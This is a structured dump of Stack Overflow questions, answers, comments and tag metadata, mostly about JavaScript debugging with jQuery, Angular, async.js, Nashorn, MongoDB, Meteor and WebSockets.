has body: i have the following javascript object: var Playlist = function(callback) { $.ajax({ url:'/playlist' }) .done(function(data) { this.html = data; callback({},this); }) .fail(function(err) { callback(err,{}); }); }; for this object, i declared a prototype method: Playlist.prototype = { render : function() { $('#main').html(this.html); } }; now, when i create a new object und try to call the 'render' function like this function renderPlaylist() { var playlist = new Playlist(function(err, obj) { obj.render(); }); } renderPlaylist(); i get a 'undefined is not a function'. it seems not to know the render function, which i declared in the prototype. what am i missing here? thanks for help.
tagged with: prototype
linked to: http://stackoverflow.com/q/3127429
linked to: http://stackoverflow.com/q/111102
answer count: 1
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/25700342

http://stackoverflow.com/q/25698387
has comment: http://stackoverflow.com/comment/40168010
has body: I have been trying to dynamically disable couple of options in a dynamically generated jQuery Select2 based on an option selected on another Select2. I have tried couple of suggestions out there, but couldn't succeed. This one (how to let jquery select2 disable one option dynamically?) was the closest, but again, in my case I do not already have the &lt;select&gt; with options written but is generated on-the-fly. The value and text for options is pulled from a table and will change with time, so prefer to implement the current way (not as in the above link). If this is not at all possible then maybe {{templating}} maybe the last resort. Example code below, I have also put a demo here: http://jsfiddle.net/s_j_l/gqbzh5y0/23/ HTML: User Roles: &lt;div id="userr"&gt;&lt;/div&gt; Quarters: &lt;div id="qtr"&gt;&lt;/div&gt; JS: $("#userr").select2({ data: _.map(userroles, function (json) { return { id: json.roleid, text: json.role } }), placeholder: 'Select User Role', allowClear: true, containerCssClass: 'select-block-level' }).on('change', function (e) { if (e.val == 'user') $("#qtr").find('option[value="2013Q4"]').attr('disabled', 'disabled'); }); $("#qtr").select2({ data: _.map(quarters, function (json) { return { id: json.qid, text: json.quarter } }), placeholder: 'Select Quarters', allowClear: true, containerCssClass: 'select-block-level' }).on('change', function (e) {}); }); DATA: {"userroles":[{"roleid":"admin","role":"Admin"},{"roleid":"user","role":"User"},{"roleid":"audit","role":"Audit"},{"roleid":"client","role":"Client"}],"quarters":[{"qid":"2014Q3","quarter":"2014 Q3"},{"qid":"2014Q2","quarter":"2014 Q2"},{"qid":"2014Q1","quarter":"2014 Q1"},{"qid":"2013Q4","quarter":"2013 Q4"},{"qid":"2013Q3","quarter":"2013 Q3"},{"qid":"2013Q2","quarter":"2013 Q2"},{"qid":"2013Q1","quarter":"2013 Q1"},{"qid":"2012Q4","quarter":"2012 Q4"},{"qid":"2012Q3","quarter":"2012 Q3"},{"qid":"2012Q2","quarter":"2012 Q2"},{"qid":"2012Q1","quarter":"2012 Q1"}]}
answer count: 1
has answer: http://stackoverflow.com/a/25698763
tagged with: jquery
tagged with: backbone.js
tagged with: jquery-select2
linked to: http://stackoverflow.com/q/21909391
type: UnansweredQuestion
has title: Dynamically disable couple of options in a dynamically generated jQuery select2 based on event
has comment: http://stackoverflow.com/comment/40168044
tagged with: underscore.js
score: 0
linked to: http://stackoverflow.com/q/4538269
type: Question
has comment: http://stackoverflow.com/comment/40168132
has comment: http://stackoverflow.com/comment/40167973
tagged with: javascript
has comment: http://stackoverflow.com/comment/40168512

http://stackoverflow.com/comment/40103414
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25662728
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/60609/discussion-between-trueblueaussie-and-nelie).

http://stackoverflow.com/comment/40008375
type: AnswerComment
type: Comment
has text: just tried that but now nothing is showing for the end user, even tho i can see the value change inside firebug
comment on: http://stackoverflow.com/a/25610791
score: 0

http://stackoverflow.com/comment/40052735
comment on: http://stackoverflow.com/q/25634710
type: Comment
has text: @Simonegianni please consider that make you comment as an answer.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/39999610
type: AnswerComment
type: Comment
has text: I edited my answer with proper Java escaping. every `"` **inside** the regex must have a `\` in front of it just like the answer of the question your linked to. Please try and read more carefully and you would've seen the the `\`s yourself I'm sure. It is also generally not appreciated that you comment something like _any suggestions?_ as it is seen as impatient.
comment on: http://stackoverflow.com/a/25602869
score: 0

http://stackoverflow.com/comment/39933865
has text: side note: ` ` close the brackets properly , it hurts my eyes
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25570258
score: 1

http://stackoverflow.com/comment/40247190
type: AnswerComment
has text: java script is loading while creating dom faster than css so i made a statement to detect device and load css. Still i have the problem.
comment on: http://stackoverflow.com/a/25620846
type: Comment
score: 0

http://stackoverflow.com/comment/40244173
comment on: http://stackoverflow.com/q/25680423
has text: @DaveA I want to fetch data from server by portions/pages whether it is an input (on the client side) and you're sending a `search term`, `page info` or it is a `set of parameters` bound to say `radioboxes` and you're sending `page info` + `that parameters`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25711462
has answer: http://stackoverflow.com/a/25711529
has body: I've got lots of code that does stuff like the following to bind a callback to this: someMethod: function() { this.doSomething({ callback: function(a,b,c) { console.log(a); console.log(this.title); }.bind(this), otherData: [1,2,3,4], anotherOption: true }); } title:'test', I'd like this to be more readable, and encapsulate how I do my binding to this - through a function call or something similar... something like the following pseudocode (which I know wouldn't work): someMethod: function() { this.doSomething({ callback: this.bind(a,b,c) { console.log(a); console.log(this.title); }, otherData: [1,2,3,4], anotherOption: true }); }, title:'test', Is there anyway to bind a callback to this that's more readable? Note that my example above is simplified - often I might have 2 callbacks being passed in, as well as other options as well.
has comment: http://stackoverflow.com/comment/40191667
score: 0
accepted answer: http://stackoverflow.com/a/25711558
has comment: http://stackoverflow.com/comment/40191692
has comment: http://stackoverflow.com/comment/40191581
possible better answer: http://stackoverflow.com/a/25711529
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40194393
has comment: http://stackoverflow.com/comment/40191729
has comment: http://stackoverflow.com/comment/40191550
has comment: http://stackoverflow.com/comment/40191570
has answer: http://stackoverflow.com/a/25711643
has title: Cleaner way to bind a function to this?
answer count: 3
has comment: http://stackoverflow.com/comment/40191786
has answer: http://stackoverflow.com/a/25711558
tagged with: bind
type: AnsweredQuestion

http://stackoverflow.com/comment/39987031
score: 1
has text: What is your question?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25599173

http://stackoverflow.com/q/25647521
downvote count: 2
upvote count: 1
type: AnsweredQuestion
has body: I have a csv file that I want to process in my cordova app. I know how to find and open files, but no idea how to read the file and parse the content as csv. My research on the web did not bring any result so far. Is there a solution?
has answer: http://stackoverflow.com/a/25647923
type: Question
has title: Reading and Parsing CSV File in Apache Cordova App
tagged with: javascript
tagged with: http://stackoverflow.com/tag/csv
accepted answer: http://stackoverflow.com/a/25647923
answer count: 1
score: -1
favorite count: 0

http://stackoverflow.com/q/25712767
type: AnsweredQuestion
score: 6
has title: Nesting node async.eachSeries
type: Question
tagged with: async.js
tagged with: javascript
answer count: 1
tagged with: nested
downvote count: 0
has body: Been fighting with async module for half a day but can't get it to work properly when nesting few levels. So this works ok: var async = require('async') var myarr = ["Outer - A", "Outer - B"]; var myarr2 = ["Inner - A", "Inner - B"]; var innerComplete = true; async.eachSeries(myarr, function( item, outerCallback) { console.log('Processing item ' + item); async.series([ function(callback) { takeTime(2000, item, callback) }, function(callback) { takeTime(1000, item, callback) }, function(callback) { outerCallback(); } ], function(err) { console.log("---OUTER SEQUENCE---") }) }, function(err){ console.log("---OUTER LOOP---") }); function takeTime(ms, msg, callback) { console.log("Starting " + ms + " ms task from " + msg); setTimeout( function() { console.log("Finished " + ms + " ms task from " + msg); callback(); }, ms); } And it outputs everything nicely in sequence like this: Processing item Outer - A Starting 2000 ms task from Outer - A Finished 2000 ms task from Outer - A Starting 1000 ms task from Outer - A Finished 1000 ms task from Outer - A Processing item Outer - B Starting 2000 ms task from Outer - B Finished 2000 ms task from Outer - B Starting 1000 ms task from Outer - B Finished 1000 ms task from Outer - B ---OUTER LOOP--- But when I try to nest another eachSeries loop into it like this: var async = require('async') var myarr = ["Outer - A", "Outer - B"]; var myarr2 = ["Inner - A", "Inner - B"]; var innerComplete = true; async.eachSeries(myarr, function( item, outerCallback) { console.log('Processing item ' + item); async.series([ function(callback) { takeTime(2000, item, callback) }, function(callback) { takeTime(1000, item, callback) }, function(callback) { async.eachSeries(myarr2, function( item2, outerCallback2) { console.log('Processing item ' + item2); async.series([ function(callback2) { takeTime(2000, item2, callback2) }, function(callback2) { takeTime(1000, item2, callback2) } ], function(err) { console.log('---INNER SEQUENCE---') }) }, function(e…
favorite count: 0
upvote count: 6
has answer: http://stackoverflow.com/a/25712826
accepted answer: http://stackoverflow.com/a/25712826
tagged with: node.js

http://stackoverflow.com/a/25702067
answers question: http://stackoverflow.com/q/25701914
upvote count: 4
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: I do not believe the code you have presented has any faults in any way. I believe it is to do with your loading of the JQuery library, as with the following code I achieved these results: index.html HELLO NEWS news.html HELLO STACK OVERFLOW!!! Before click: After click: However, when I was building this example I first tried using the Google APIs version of JQuery and found that I could not currently connect to the API. Therefore I believe the solution to your problem is to go to this website: http://code.jquery.com/jquery-1.11.1.js and copy and paste everything into a text file called 'jquery.js'. Then add the following to the head tag of your main HTML file: Make sure that 'jquery.js' is in the same directory as the main HTML file of your project otherwise this will not work. Hope this helps :)
score: 4
accepted answer of: http://stackoverflow.com/q/25701914

http://stackoverflow.com/q/25579064
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25579141
tagged with: http://stackoverflow.com/tag/json
type: Question
answer count: 2
tagged with: javascript
score: 0
has title: 'TypeError: undefined is not a function' when pulling json data from the github api in Angular?
tagged with: angularjs
has answer: http://stackoverflow.com/a/25579141
possible better answer: http://stackoverflow.com/a/25579076
has answer: http://stackoverflow.com/a/25579076
has body: I'm working on a single page Angular application and trying to work on pulling data from the github api which has access to my github data via: https://api.github.com/users/payam10. I'm getting the error: "TypeError: undefined is not a function" All I would like to do is just pull out my login username 'payam10' and place it in the h1 html element. See code below Angular {{ user.name }}

http://stackoverflow.com/q/25603191
tagged with: javascript
has comment: http://stackoverflow.com/comment/40007599
answer count: 3
has answer: http://stackoverflow.com/a/25605250
favorite count: 0
upvote count: 20
downvote count: 0
has comment: http://stackoverflow.com/comment/40008940
possible better answer: http://stackoverflow.com/a/25603192
tagged with: java-8
has comment: http://stackoverflow.com/comment/40019110
tagged with: nashorn
type: AnsweredQuestion
has title: Nashorn bug when calling overloaded method with varargs parameter
tagged with: java
has answer: http://stackoverflow.com/a/25610856
accepted answer: http://stackoverflow.com/a/25610856
has comment: http://stackoverflow.com/comment/40006808
type: Question
has body: Assume the following API: package nashorn.test; public class API { public static void test(String string) { throw new RuntimeException("Don't call this"); } public static void test(Integer... args) { System.out.println("OK"); } } The following Nashorn JavaScript snippet will fail: var API = Java.type("nashorn.test.API"); API.test(1); The first method will be called instead of the second. Is this a bug in the Nashorn engine? For the record, this issue was previously reported on the jOOQ User Group, where method overloading and varargs are used heavily, and where this issue may cause a lot of trouble. About boxing There might be a suspicion that this could have to do with boxing. It doesn't. The problem also appears when I do public class API { public static void test(String string) { throw new RuntimeException("Don't call this"); } public static void test(Integer... args) { System.out.println("OK"); } public static void test(MyType... args) { System.out.println("OK"); } } And: public class MyType { } And then: var API = Java.type("nashorn.test.API"); var MyType = Java.type("nashorn.test.MyType"); API.test(new MyType());
score: 20
linked to: http://stackoverflow.com/q/9960560
has answer: http://stackoverflow.com/a/25603192

http://stackoverflow.com/comment/39954325
has text: @StevenEllenStarar so what is the problem, is it for '#' ?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25580968

http://stackoverflow.com/q/25576148
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25576463
has body: I have a Rails app running on Heroku, and I am wondering if there is a way to write to the log from Javascript. Heroku's documentation says anything written to standard out (stdout) or standard error (stderr) is captured into your logs. I am not talking about console.log - which I am already making use of - I am talking about somehow being able to write to Logplex from (Rails-app based) Javascript.
has title: How to write to Heroku's log from Javascript in a Rails app?
answer count: 1
type: UnansweredQuestion
tagged with: ruby-on-rails
tagged with: logging
tagged with: heroku
score: 0

http://stackoverflow.com/q/25637049
score: 1
linked to: http://stackoverflow.com/q/14220321
favorite count: 0
duplicate of: http://stackoverflow.com/q/14220321
upvote count: 1
answer count: 1
has title: Javascript variable scope in callback?
has answer: http://stackoverflow.com/a/25637160
has comment: http://stackoverflow.com/comment/40056258
tagged with: mongodb
has body: doing a mongo DB lookup, intending to save result in a scoped variable. var users = ['kat']; collection.find({key: key}, function(err, doc) { if (doc) { var firstEntry = doc[0]; users = firstEntry.users; users.push('jack'); } else { console.log("DB ERROR: cannot find: " + key); } }); console.log(users); // Why does this return only Kat, and Jack is not appended? Thanks!
downvote count: 0
tagged with: javascript
tagged with: callback
accepted answer: http://stackoverflow.com/a/25637160
tagged with: scope
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/39919409
type: QuestionComment
comment on: http://stackoverflow.com/q/25561823
has text: @AnantDabhi JsFiddle of my issue http://jsfiddle.net/kL2ntc2u/4/
score: 0
type: Comment

http://stackoverflow.com/q/25638597
type: Question
has title: How to make bootstrap dropdown works on hover
has comment: http://stackoverflow.com/comment/40091052
tagged with: javascript
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: How to make bootstrap dropdown to work with hover on resolution greater than 767px. I saw this SO Question How to make twitter bootstrap menu dropdown on hover rather than click, which suggesting this ul.nav li.dropdown:hover &gt; ul.dropdown-menu { display: block; } But the problem is, I have to disable the click effect, only on resolution greater than 767px. Ie below this resolution (especially in mobile devices), it has to work on click which the bootstrap usually does. What i tried so far make the css to this ul.nav li.dropdown:hover &gt; ul.dropdown-menu, ul.nav li.dropdown:active &gt; ul.dropdown-menu { display: block; } and change the &lt;li class="dropdown mega-dropdown"&gt; &lt;a href="#" class="dropdown-toggle" data-toggle="dropdown"/&gt; to &lt;li class="dropdown mega-dropdown"&gt; &lt;a href="#" class="dropdown-toggle" data-toggle=""/&gt; Now it disable the click in resolution > 767px, and also works the click event on resolution &lt; 767px here the problem is that it doesn't work that perfectly like before on resolution &lt; 767px. It's the closest I can come, any help can be appreciated.
tagged with: twitter-bootstrap
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25638773
linked to: http://stackoverflow.com/q/8878033
tagged with: css
has comment: http://stackoverflow.com/comment/40059688

http://stackoverflow.com/q/25656229
has comment: http://stackoverflow.com/comment/40095674
has answer: http://stackoverflow.com/a/25669755
favorite count: 0
has comment: http://stackoverflow.com/comment/40091397
tagged with: angularjs
type: AnsweredQuestion
upvote count: 5
accepted answer: http://stackoverflow.com/a/25669755
type: Question
answer count: 2
score: 5
has answer: http://stackoverflow.com/a/25656253
has title: $injector error when using angular-bootstrap ($modalInstanceProvider <- $modalInstance)
has body: I've been playing around with this bug but I can't seem to figure it out. The problem started when I pushed the angular-bootstrap models I had added to the prod server. The original error was this: "AngularJS Error: Unknown provider: aProvider <- a" I'm pretty sure I was getting that error because my files weren't minifying correctly. So I went through my controllers and found that I wasn't $injecting $modal instance into my controllers and that's when I ran into this problem. Whenever I inject $modalInstance into my controller in the minified format I get this error. I am not using the format angular-bootstrap suggests because I have a lot going on and many controllers on the site I'm building so I combined everything into one controller instead of several functions. My Controller: .controller('CreateGroupCtrl', ['$scope', '$http', '$window', '$cookies', '$modal', '$log', 'FeedService', '$modalInstance', function CreateGroupCtrl($scope, $http, $window, $cookies, $modal, $log, $modalInstance, FeedService) { $scope.createGroupCall = function createGroupCall(teacher, name) { if(teacher != null && name != null) { FeedService.createGroupCall($cookies.token, $window.sessionStorage.user, teacher, name).success(function(data) { console.log('GroupCreated'); }).error (function(status,data,token) { console.log(status); console.log(data); }); } else { alert("Error!"); } } /***********ANGULAR-UI MODAL CODE**********/ $scope.open = function (size) { var modalInstance = $modal.open({ templateUrl: 'CreateGroupContent.html', controller: CreateGroupCtrl, size: size }); modalInstance.result.then(function (selectedItem) { $scope.selected = selectedItem; }, function () { $log.info('Modal dismissed at: ' + new Date()); }); }; $scope.ok = function () { $modalInstance.close(); }; $scope.cancel = function () { $modalInstance.dismiss('cancel'); }; }]); My Template: Create Group
downvote count: 0
tagged with: javascript
tagged with: angular-ui-bootstrap
possible better answer: http://stackoverflow.com/a/25656253
tagged with: angular-ui

http://stackoverflow.com/comment/40055509
comment on: http://stackoverflow.com/a/25636324
type: AnswerComment
score: 0
has text: thanks a lot man, this solves the delete call problem, but still unable to populate the record i pushed to store. I tried update instead of push, still no use.
type: Comment

http://stackoverflow.com/comment/40131323
comment on: http://stackoverflow.com/a/25677178
score: 0
type: AnswerComment
type: Comment
has text: > You need to use Bueonosairestring (not BueonosaireString ) Yes. Thanks. I fixed that. And now see how you're deriving the city string. Thanks.

http://stackoverflow.com/comment/40167392
type: Comment
has text: Yes this is what i want. I will provide th3 entire code when i get home
comment on: http://stackoverflow.com/a/25698121
type: AnswerComment
score: 0

http://stackoverflow.com/q/25556510
type: Question
has comment: http://stackoverflow.com/comment/39908844
tagged with: javascript
upvote count: 2
has title: JavaScript fade when window bottom passes a point
has comment: http://stackoverflow.com/comment/39908397
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
has body: I have a div covered by another div, and I'm trying to get the cover to fade away (revealing the div beneath) once the bottom of the window is greater than halfway down the div. I was able to get it to work for fading once the top hit the top of the window, but i've edited it since then and it doesn't work anymore. Here is a JSfiddle example: http://jsfiddle.net/DnJ2z/676/ and here is my JavaScript code: $(document).ready(function() { var scrollBottom = $(window).scrollTop() + $(window).height(); var middleofDiv = $("#redCover").offset().top + (document.getElementById('redCover').clientHeight/2); $(window).scroll(function() { if(scrollBottom &gt; middleofDiv) { //scrolled past the other div? $("#redCover").fadeOut(2000); //reached the desired point -- show div } }); }); For this example, I want it so that when the bottom of the window is more than halfway down the green div, the fade is triggered. As a side note, I have three of these Div+coveredDiv on the page, all of class "background" and "cover". If I can get this Javascript to work, is there a way to make it work for all of the class instead of individual elements? Thanks for any help you can give!
has comment: http://stackoverflow.com/comment/39908897
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25556803
accepted answer: http://stackoverflow.com/a/25556803
tagged with: scroll
tagged with: fade

http://stackoverflow.com/comment/40192320
comment on: http://stackoverflow.com/q/25711675
score: 0
has text: I just came across another example that doesn't work, will edit question.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40076308
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25647831
has text: @user3002057 Maybe this will help: http://jsfiddle.net/ck0eph8z/1/ It updates localStorage when you click the checkbox.

http://stackoverflow.com/q/25709540
tagged with: arrays
has body: I am trying to add hashtags in the post's hashtag[] array as a object with a num:1 variable to the users hashtagseen[] array if it is not already in it else add 1 the num if the hashtag is already in the hashtagseen[] array. How do I fix my code? Here is the code, thanks in advanced. edit: I think I am not finding post.hashtag with this.hashtag and that is why it will not go to else. Just a guess. The user object Accounts.createUser({ username: username, password: password, email: email, profile: { hashtagsl:[], } }); collections/post.js var post = _.extend(_.pick(postAttributes, 'title', 'posttext','hashtags'), { userId: user._id, username: user.username, submitted: new Date().getTime(), commentsCount: 0, upvoters: [], votes: 0, }); calling it Meteor.call('addposthashtags',this.hashtags,Meteor.user().profile.hashtagsl); lib/usershash Meteor.methods({ addposthashtags: function (hashtags,hashtagsl) { //supposed to make hashtagseen a array with the names from the hashtagsl object in it var hashtagseen = _.pluck(hashtagsl, 'name'); //supposed to run once per each hashtag in the posts array. for (var a = 0; a &lt; hashtags.length; a++) { //supposed set hashtagnumber to the number indexOf spits out. var hashnumber=hashtagseen.indexOf(hashtags[a]); //supposed to check if the current hashtag[a] === a idem in the hashtagseen. if(hashnumber===-1){ var newhashtag = this.hashtags[a]; //supposed to make the object with a name = to the current hashtags Meteor.users.update({"_id": this.userId},{"$push":{"profile.hashtagsl": {name: newhashtag, num: 1}}}) } else { var hashi = hashtagseen[hashnumber]; //supposed to ad one to the num variable within the current object in hashtagsl Meteor.users.update({"_id": this.userId, "profile.hashtagsl.name":hashi},{"$inc":{"profile.hashtagsl.num":1}}); } } } });
tagged with: javascript
score: 0
accepted answer: http://stackoverflow.com/a/25738105
answer count: 3
has answer: http://stackoverflow.com/a/25714626
tagged with: meteor
possible better answer: http://stackoverflow.com/a/25714626
has answer: http://stackoverflow.com/a/25720671
tagged with: object
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25738105
has title: Why is hashtagseen[] empty after I call the addposthashtags function?
type: Question
tagged with: mongodb

http://stackoverflow.com/q/25659894
upvote count: 2
tagged with: mongodb
accepted answer: http://stackoverflow.com/a/25659912
answer count: 1
tagged with: javascript
tagged with: mongodb-shell
has body: I'm working with a mongo database that contains a collection named "version". Now it seems "db.version()" is by itself a reserved function and the collection name is hidden by it. Using the Mongo Java Driver it's possible to retrieve data from the collection, how do I do it using the CLI?
favorite count: 0
has title: MongoDB: How to query a collection named "version"
has answer: http://stackoverflow.com/a/25659912
tagged with: mongodb-query
score: 2
downvote count: 0
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/53626039
score: 0
type: Comment
has text: So I can't... That's what I was afraid... What do I have to do now?
comment on: http://stackoverflow.com/a/32895606
type: AnswerComment

http://stackoverflow.com/comment/40045050
comment on: http://stackoverflow.com/a/25630587
score: 0
type: AnswerComment
type: Comment
has text: For the first answer with the init what exactly do i need to do? I am kindof a beginner. For the second answer is this right? : . and for the last answer is this also right? : jQuery(function($){ $('.bxslider').bxSlider(); });

http://stackoverflow.com/comment/39946277
comment on: http://stackoverflow.com/a/25576462
type: Comment
has text: @Razvan's answer is a more technically accurate explanation, although mine is broadly correct in practical terms.
type: AnswerComment
score: 0

http://stackoverflow.com/a/25569615
answers question: http://stackoverflow.com/q/25558976
has comment: http://stackoverflow.com/comment/40036584
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25558976
has body: The issue you're having here is that you're attempting to access the variable ajax from a closure before it's created: var myVariable = { myProperty: "Hello", myFunction: function () { //... access myVariable.myProperty -&gt; error } }; There are two options here. The cleaner one, and the one I'd use is this: var ajaxOptions = { defaultAjaxTimeout: 600000, exceptionStart: '&lt;!--', exceptionEnd: '--&gt;' }; var ajax = { postJson: function (url, data, success, error) { ... ajaxOptions.exceptionStart.length } }; The reason this works is because ajaxOptions exists already in the scope where you declare the function ajax.postJson so it's able to reference it correctly from its closure. The variation on this option is this: var ajax = { defaultAjaxTimeout: 600000, exceptionStart: '&lt;!--', exceptionEnd: '--&gt;' }; ajax.postJson = function (url, data, success, error) { ... ajax.exceptionStart.length }; The reason this works is because ajax is already declared, and is just attached to the closure of the function. A second, less-clean option is to put the ajax variable as a child of the window object: window.ajax = { defaultAjaxTimeout: 600000, exceptionStart: '&lt;!--', exceptionEnd: '--&gt;', postJson: function (url, data, success, error) { ... window.ajax.exceptionStart.length } }; The reason this works is because window always exists in all lexical scopes, so it'll have no problem referencing it. The reason it's less clean is because it pollutes the window object and any JavaScript anywhere on your page can access and change it, potentially causing unknown behavior. I'm not recommending it, I'm just providing it as an example.

http://stackoverflow.com/q/25569239
score: 1
tagged with: http://stackoverflow.com/tag/c
accepted answer: http://stackoverflow.com/a/25569905
type: Question
downvote count: 0
tagged with: websocket
tagged with: javascript
has answer: http://stackoverflow.com/a/25569905
has comment: http://stackoverflow.com/comment/39932722
answer count: 1
tagged with: utf-8
favorite count: 0
has title: Chrome says "Could not decode a text frame as UTF-8" when receiving from libwebsockets
tagged with: libwebsockets
upvote count: 1
has body: I'm using libwebsockets C library. I'm trying to do a simple echo server, as a test. I'm testing with Firefox and Chrome under linux. The pieces of code are simple : Javascript var ws = new WebSocket ("ws://127.0.0.1:9999", "hephaestus"); ws.onopen = function() { console.log ('Connection opened.'); setTimeout (function() { ws.send ('This is a hello.\n'); }, 2000); }; ws.onerror = function() { console.log ('Error in connection'); }; ws.onclose = function() { console.log ('Connection closed'); }; ws.onmessage = function (msg) { console.log ('Message received : ' + msg.data); }; C ephaestus_callback(struct libwebsocket_context *context, struct libwebsocket *wsi, enum libwebsocket_callback_reasons reason, void *user, void *in, size_t len) { int n, m; unsigned char buf[LWS_SEND_BUFFER_PRE_PADDING + 512 + LWS_SEND_BUFFER_POST_PADDING]; unsigned char *p = &amp;buf[LWS_SEND_BUFFER_PRE_PADDING]; unsigned char *ret = "Answer"; switch (reason) { case LWS_CALLBACK_RECEIVE: printf("Received : %s\n",in); strcpy (p, ret); n = libwebsocket_write (wsi, buf, LWS_SEND_BUFFER_POST_PADDING + 512 + LWS_SEND_BUFFER_PRE_PADDING, LWS_WRITE_TEXT); printf ("Wrote %d bytes.\n", n); break; } } I do receive the 'This is a hello' from the browser, but when I send the answer, it does write 'Wrote 534 bytes' but on hte Javascript side, the web socket connection is closed, and Chrome says : "Could not decode a text frame as UTF-8". I'm confused, in the string "Answer", there are only &lt; 128 characters, so they should be UTF-8, right ?
type: AnsweredQuestion

http://stackoverflow.com/a/25552992
has comment: http://stackoverflow.com/comment/39901220
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25552888
score: 1
has comment: http://stackoverflow.com/comment/39902693
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39901628
has comment: http://stackoverflow.com/comment/39901183
accepted answer of: http://stackoverflow.com/q/25552888
has comment: http://stackoverflow.com/comment/39901257
has body: onclick event does not need the javascript: notation... You would put it in case you were setting the method on href. Also, from onclick event you would have access to the this variable, not from the method. You can, however, pass it as an argument, so: &lt;a href="#" onClick="filltransfercombo(this);" class="btn btn-default transferchat" data-operatorid="@avisitor.OperatorID" data-toggle="modal" data-target="#transferModal" title="Transfer chat"&gt; and js: function filltransfercombo(sender) { var result = ""; var currentoperatorid = $(sender).attr("data-operatorid"); //This is the id of the currently attending operator console.log(currentoperatorid); }

ruby-on-rails-4
type: Tag
tags question: http://stackoverflow.com/q/25678573
tags question: http://stackoverflow.com/q/25657046
tags question: http://stackoverflow.com/q/25585596
tags question: http://stackoverflow.com/q/25619498
tags question: http://stackoverflow.com/q/25650334
tags question: http://stackoverflow.com/q/25558618
tags question: http://stackoverflow.com/q/25631714
tags question: http://stackoverflow.com/q/25672451
tags question: http://stackoverflow.com/q/25587780
tag name: ruby-on-rails-4
tags question: http://stackoverflow.com/q/25588212
tags question: http://stackoverflow.com/q/25583667

http://stackoverflow.com/q/25687191
has answer: http://stackoverflow.com/a/25687855
tagged with: replace
type: Question
has body: I was playing with jsfiddle here: http://jsfiddle.net/dm9eebz9/ HTML Line 1 Line 3 Line 1 Line 2 Line 6 Line 1 Line 2 Javascript/jQuery $('#wrapper p.body').each(function () { var temp = $(this).innerHTML; this.innerHTML = temp.replace(/( )+/gim, " "); }); My goal was to try to get rid of more than 2 's when they occur. However, it doesn't seem to recognize temp. Is this jsfiddle behavior, or am I making an obvious error?
upvote count: 1
has comment: http://stackoverflow.com/comment/40146680
tagged with: javascript
has comment: http://stackoverflow.com/comment/40168261
tagged with: jquery
favorite count: 0
score: 0
has answer: http://stackoverflow.com/a/25687514
accepted answer: http://stackoverflow.com/a/25687455
has title: Unable to replace a string using a regular expression
downvote count: 1
answer count: 4
has answer: http://stackoverflow.com/a/25687310
has answer: http://stackoverflow.com/a/25687455
has comment: http://stackoverflow.com/comment/40146648
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25687514
has comment: http://stackoverflow.com/comment/40150967
has comment: http://stackoverflow.com/comment/40147836
has comment: http://stackoverflow.com/comment/40147225

http://stackoverflow.com/comment/40236015
type: Comment
has text: There are different ways to get it centered, just one of them in updated Fiddle ;) - http://jsfiddle.net/matthias_h/owzud4dz/3/
type: QuestionComment
comment on: http://stackoverflow.com/q/25694943
score: 0

http://stackoverflow.com/a/25590606
has body: document.cookie displays only the cookie names. To see other parameters, in Chrome, use developer tools, resources tab, then cookies. In Firebug, use the cookies tab. There is documentation here: https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25590582
upvote count: 2

http://stackoverflow.com/a/25678884
type: Answer
has comment: http://stackoverflow.com/comment/40162539
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40156541
accepted answer of: http://stackoverflow.com/q/25678507
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25678507
has body: This is coming from either of the following two includes at the top of your php script: include 'core/init.php'; include 'includes/overall/header.php'; So restrict the unwanted output or file inclusion in time of an ajax call.

http://stackoverflow.com/comment/40029152
type: Comment
score: 2
comment on: http://stackoverflow.com/a/25622336
has text: `alert(this.id);` is more succinct.
type: AnswerComment

http://stackoverflow.com/a/25555557
type: AcceptedAnswer
has body: It seems that most of the standard JavaScript functionality is available (source), so you can just do: try { RegExp(json.something+''); pacFile += 'RegExp(' + JSON.stringify(json.something+'') + ')'; } catch(e) {/*handle invalid regexp*/} And not worry, because a RegExp("console.log('test')") will only produce a valid /console.log('test')/ regexp and execute nothing.
accepted answer of: http://stackoverflow.com/q/25552695
type: Answer
answers question: http://stackoverflow.com/q/25552695
score: 0

http://stackoverflow.com/comment/40098553
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25659816
has text: do you have many elements to 'follow' ? if not, you don't have to point it trought the event, you know it one time for all and target it when needed

http://stackoverflow.com/a/68568114
downvote count: 0
upvote count: 8
has body: I know this post is old but this can help. window.location.replace(document.referrer);
score: 8
answers question: http://stackoverflow.com/q/25639290
has comment: http://stackoverflow.com/comment/127313819
type: Answer

http://stackoverflow.com/a/25584058
score: 2
